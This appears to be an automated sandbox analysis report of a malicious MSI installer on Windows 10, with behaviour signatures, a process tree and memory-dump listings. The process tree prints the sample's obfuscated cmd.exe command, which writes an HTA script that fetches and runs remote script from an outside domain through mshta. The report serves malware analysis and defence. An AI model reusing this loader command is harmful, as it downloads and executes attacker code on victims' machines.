Overview

overview

8

Static

static

25fb665e69...bc.msi

windows7_x64

8

25fb665e69...bc.msi

windows10_x64

8

Analysis

  • max time kernel
    131s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    08/12/2021, 15:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    25fb665e690ed6a67ca24affff87a0bc.msi
  • Size 280KB
  • Sample211208-st8lashchj
  • SHA256 6977d52d9fa9ea0e1dc79fe78df2bfeda37d66366fbdf0ba17612f9487274472
  • MD5 SHA1 SHA512
Score
8/10
discovery

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\25fb665e690ed6a67ca24affff87a0bc.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3492
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4B63D2C9AF58AF553C986ECD506D0D1F
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-3cf007e2-0137-46e6-8f39-ff24ca43c6e7\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        PID:2972
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        PID:2236
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=mshta&&SEt ${svar7}=C:\Users\Public\\Videos\\^amb&&SEt MFOUV=^<!sKk!^>try{vgovgar c=’!sKk!:’;d=’hgovgTtP:’;GgovgetObjgovgect(c+d+’&&sET N0X1=CDSCACDSCA61djwb8eitq.leteaxe.worldCDSCA?2CDSCA’);}catch(e){}close();^</!sKk!^>&&sEt/^p 4N73="%MFOUV:govg=%%N0X1:CDSCA=/%"<nul > %${svar7}%.Hta|CMD /c !px! !${svar7}!.HtA "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" sEt/p 4N73="%MFOUV:govg=%%N0X1:CDSCA=/%" 0<nul 1>%${svar7}%.Hta"
          4⤵
            PID:2128
          • C:\Windows\SysWOW64\cmd.exe
            CMD /c mshta C:\Users\Public\\Videos\\amb.HtA
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1612
            • C:\Windows\SysWOW64\mshta.exe
              mshta C:\Users\Public\\Videos\\amb.HtA
              5⤵
              • Blocklisted process makes network request
              PID:3592
        • C:\Users\Admin\AppData\Local\Temp\MW-3cf007e2-0137-46e6-8f39-ff24ca43c6e7\files\pwlauncher.exe
          "C:\Users\Admin\AppData\Local\Temp\MW-3cf007e2-0137-46e6-8f39-ff24ca43c6e7\files\pwlauncher.exe"
          3⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:3048
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-3cf007e2-0137-46e6-8f39-ff24ca43c6e7\files"
          3⤵
            PID:3992
          • C:\Windows\SysWOW64\ICACLS.EXE
            "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-3cf007e2-0137-46e6-8f39-ff24ca43c6e7\." /SETINTEGRITYLEVEL (CI)(OI)LOW
            3⤵
            • Modifies file permissions
            PID:784
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
        1⤵
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        PID:3264

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2012-122-0x00000000008A0000-0x00000000008A1000-memory.dmp
            Download

            memory/2012-121-0x00000000008A0000-0x00000000008A1000-memory.dmp
            Download

            memory/3328-118-0x00000203789A0000-0x00000203789A2000-memory.dmp
            Download

            memory/3328-117-0x00000203789A0000-0x00000203789A2000-memory.dmp
            Download

            memory/3492-116-0x000001729B100000-0x000001729B102000-memory.dmp
            Download

            memory/3492-115-0x000001729B100000-0x000001729B102000-memory.dmp
            Download